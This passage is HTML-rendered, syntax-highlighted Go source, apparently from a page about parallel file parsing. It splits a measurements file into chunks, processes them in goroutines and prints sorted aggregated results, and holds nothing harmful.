&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">count&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">pos&lt;/span>:]); &lt;span style="color:#a6e22e">count&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// finalize previous line from previous job&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">pos&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#75715e">/* &amp;amp;&amp;amp; prev_j != nil */&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> copy(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">pos&lt;/span>], &lt;span style="color:#a6e22e">prev_j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">bufSize&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">pos&lt;/span>:])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// prepare next buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> = &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">LastIndexByte&lt;/span>(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">pos&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">count&lt;/span>], &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>); &lt;span style="color:#a6e22e">nlPos&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;buffer too small for a complete line&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">pos&lt;/span> = &lt;span style="color:#a6e22e">pos&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">prev_j&lt;/span> = &lt;span style="color:#a6e22e">j&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">bufLen&lt;/span> = &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// spawn a new job on this buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ready_jobs&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> close(&lt;span style="color:#a6e22e">ready_jobs&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> close(&lt;span style="color:#a6e22e">free_jobs&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">printResults&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurements&lt;/span>) &lt;span style="color:#a6e22e">process&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">File&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">jobs&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">job&lt;/span>, &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">numParsers&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fi&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Stat&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Stat: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fi&lt;/span>.&lt;span style="color:#a6e22e">Size&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span>&lt;span style="color:#f92672">/&lt;/span>int64(len(&lt;span style="color:#a6e22e">jobs&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">100&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Invalid file size: %d&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">jobs&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">jobs&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">==&lt;/span> len(&lt;span style="color:#a6e22e">jobs&lt;/span>)&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">offset&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">wg&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">WaitGroup&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(len(&lt;span style="color:#a6e22e">jobs&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> = &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">jobs&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>){
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Done&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">jobs&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nlSkipFirst&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxLen&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">maxOffset&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">maxLen&lt;/span>) &amp;gt; &lt;span style="color:#a6e22e">maxOffset&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxLen&lt;/span> = int(&lt;span style="color:#a6e22e">maxOffset&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">count&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadAt&lt;/span>(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">maxLen&lt;/span>], &lt;span style="color:#a6e22e">offset&lt;/span>); &lt;span style="color:#a6e22e">count&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">pos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nlSkipFirst&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">IndexByte&lt;/span>(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">maxLen&lt;/span>], &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>); &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">pos&lt;/span> = &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">jobs&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>].&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">pos&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nlSkipFirst&lt;/span> = &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Unable to seek to next line at job n°%d&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">i&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">LastIndexByte&lt;/span>(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">pos&lt;/span>:&lt;span style="color:#a6e22e">maxLen&lt;/span>], &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>); &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">bufLen&lt;/span> = &lt;span style="color:#a6e22e">pos&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">bufLen&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">processChunk&lt;/span>(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">pos&lt;/span>:&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">bufLen&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Buffer too small at job n°%d&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">i&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> = &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> = &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }(&lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">printResults&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurements&lt;/span>) &lt;span style="color:#a6e22e">printResults&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Read %d entries&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">total&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ids&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">int&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">capacity&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">nameLen&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ids&lt;/span> = append(&lt;span style="color:#a6e22e">ids&lt;/span>, &lt;span style="color:#a6e22e">i&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">slices&lt;/span>.&lt;span style="color:#a6e22e">SortFunc&lt;/span>(&lt;span style="color:#a6e22e">ids&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">a&lt;/span>,&lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>) &lt;span style="color:#66d9ef">int&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Compare&lt;/span>(&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">a&lt;/span>].&lt;span style="color:#a6e22e">nameBuf&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>:&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">a&lt;/span>].&lt;span style="color:#a6e22e">nameLen&lt;/span>], &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">b&lt;/span>].&lt;span style="color:#a6e22e">nameBuf&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>:&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">b&lt;/span>].&lt;span style="color:#a6e22e">nameLen&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Print&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
